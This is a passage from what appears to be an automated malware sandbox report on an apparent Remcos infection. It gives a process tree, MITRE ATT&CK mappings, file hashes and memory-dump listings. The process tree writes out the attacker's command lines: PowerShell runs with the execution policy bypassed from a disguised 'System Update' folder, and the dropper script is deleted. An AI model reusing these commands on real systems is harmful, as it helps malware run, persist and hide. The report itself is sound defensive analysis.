    PID:3476
  - - C:\Windows\SYSTEM32\cmd.exe
      cmd.exe /c mkdir "C:\Users\Admin\AppData\Local\Microsoft\LocalLow\System Update\"
      4⤵
      PID:3884
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -ExecutionPolicy Bypass -file "C:\Users\Admin\AppData\Local\Microsoft\LocalLow\System Update\\x2.ps1"
      4⤵
      Adds Run key to start application
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:1460
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell.exe -ExecutionPolicy Bypass -File "C:\Users\Admin\AppData\Local\Microsoft\LocalLow\System Update\nalki.ps1"
      4⤵
      Blocklisted process makes network request
      Command and Scripting Interpreter: PowerShell
      Suspicious use of SetThreadContext
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      Suspicious use of WriteProcessMemory
      PID:1732
    - - C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
        
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
        5⤵
        
        PID:3948
    - - C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
        
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
        5⤵
        System Location Discovery: System Language Discovery
        Suspicious use of SetWindowsHookEx
        
        PID:3428
  - - C:\Windows\SYSTEM32\cmd.exe
      cmd.exe /c del "C:\Users\Admin\AppData\Local\Temp\20092024_0206_AT000005112563923.vbs"
      4⤵
      PID:312

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

1

T1059

PowerShell

1

T1059.001

Persistence

Boot or Logon Autostart Execution

1

T1547

Registry Run Keys / Startup Folder

1

T1547.001

Privilege Escalation

Boot or Logon Autostart Execution

1

T1547

Registry Run Keys / Startup Folder

1

T1547.001

Defense Evasion

Indicator Removal

1

T1070

File Deletion

Modify Registry

Credential Access

Discovery

Query Registry

1

T1012

System Information Discovery

2

T1082

System Location Discovery

1

T1614

System Language Discovery

1

T1614.001

Lateral Movement

Collection

Command and Control

Web Service

1

T1102

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\ProgramData\remcos\logs.dat

Filesize
144B

MD5
211b99c8dba372cdb6e03e34b0b4f733

SHA1
f3bdddcbc2e9967b0f2081074195a9f5450fe9c2

SHA256
13e5dcfa62d820aa306bd86659675e67d95156a1236849abf38dc0e37bd1676d

SHA512
e3fb07aa24dd53f044eb44ee6a7faad48b6effdcb98fb716c3e6f9886819d26aa7a9bc926b339282cc110f871fd3bb97fed5f20586d9158544763f50b9474903

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

Filesize
2KB

MD5
6cf293cb4d80be23433eecf74ddb5503

SHA1
24fe4752df102c2ef492954d6b046cb5512ad408

SHA256
b1f292b6199aa29c7fafbca007e5f9e3f68edcbbca1965bc828cc92dc0f18bb8

SHA512
0f91e2da0da8794b9797c7b50eb5dfd27bde4546ceb6902a776664ce887dd6f12a0dd8773d612ccc76dfd029cd280778a0f0ae17ce679b3d2ffd968dd7e94a00

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\LocalLow\System Update\nalki.ps1

Filesize
1.7MB

MD5
b3514c8e6f49c50580aff529d562183a

SHA1
cd8cb33ddce59a63edfdc332b11252a84ea6cdcd

SHA256
b4bb34a34505e9673b53f24e68ba1823718eda73b419da5f8e1f2477ceffd6f8

SHA512
4b4aeae812790b6e9988ee8aa17d1c8fd6e82f7bf136f0eb278d136cc38e6ca978995f6170931e52db37ca3ba3b01a2e165a3287242ed939cec9136a4537527d

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\LocalLow\System Update\x2.ps1

Filesize
334B

MD5
d9836bcf44d6ac9bc37740b460fe5c63

SHA1
1c559b654e5589f2e2299be3febc8101080368a7

SHA256
f254acebba6c5bd7df5e02e8071d564ef1b4a4b054a460f4f663bbf81516fcba

SHA512
0980f4720168595666da348e27baf1ea4b101aae6b6810fc2f48e108256e6bb7c099f61b8ca57eabbe2e6a347d4041e33822237a9452227b4bfdb89a99976381

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1KB

MD5
c2591b8d3c298836fc77aeec431b0a88

SHA1
56aed0d369ac0a912275f1d29075c78da932e2a7

SHA256
bfca64476080417d90c94877309a740be930c08c7d60bd2579ff9b523b4d9c9f

SHA512
95162e3fd633a27db36565cacc0c6e0ce220e080ca402849238cf4db42ed19772959c4d664a82cfbfeceac4271d49a0f1f5a2c0edceecbd100d7f7797a5211c8

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
948B

MD5
721991167161c45d61b03e4dbad4984b

SHA1
fd3fa85d142b5e8d4906d3e5bfe10c5347958457

SHA256
0a7be18529bdbed6fc9f36118a6147920d31099ee0fb5a2a8b6b934d1b9bcefb

SHA512
f1aa4f8e48eeb5b5279530d8557cb292a08b25ad46af0dd072130c395127f6c064c88b04910c626c13f22462104ac3d36fa0d4064fff0ec7528922df54ecdcf0

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_rz2fwzlt.bjw.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/1732-58-0x000001F121A90000-0x000001F121A9A000-memory.dmp

Filesize
40KB

Download
memory/3404-12-0x00007FFFE4A50000-0x00007FFFE5511000-memory.dmp

Filesize
10.8MB

Download
memory/3404-11-0x00007FFFE4A50000-0x00007FFFE5511000-memory.dmp

Filesize
10.8MB

Download
memory/3404-36-0x00007FFFE4A53000-0x00007FFFE4A55000-memory.dmp

Filesize
8KB

Download
memory/3404-37-0x00007FFFE4A50000-0x00007FFFE5511000-memory.dmp

Filesize
10.8MB

Download
memory/3404-0-0x00007FFFE4A53000-0x00007FFFE4A55000-memory.dmp

Filesize
8KB

Download
memory/3404-44-0x00007FFFE4A50000-0x00007FFFE5511000-memory.dmp

Filesize
10.8MB

Download
memory/3404-1-0x000001A6A6E70000-0x000001A6A6E92000-memory.dmp

Filesize
136KB

Download
memory/3428-68-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/3428-83-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/3428-63-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/3428-64-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/3428-67-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/3428-59-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/3428-69-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/3428-70-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/3428-71-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/3428-74-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/3428-75-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/3428-146-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/3428-82-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/3428-61-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/3428-90-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/3428-91-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/3428-106-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/3428-107-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/3428-115-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/3428-114-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/3428-122-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/3428-123-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/3428-130-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/3428-131-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/3428-138-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/3428-139-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/3428-147-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/3476-22-0x00000202C2EE0000-0x00000202C2EEA000-memory.dmp

Filesize
40KB

Download

Analysis

Sharing

General

Malware Config

Extracted

Extracted

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

Loading Replay Monitor...

Downloads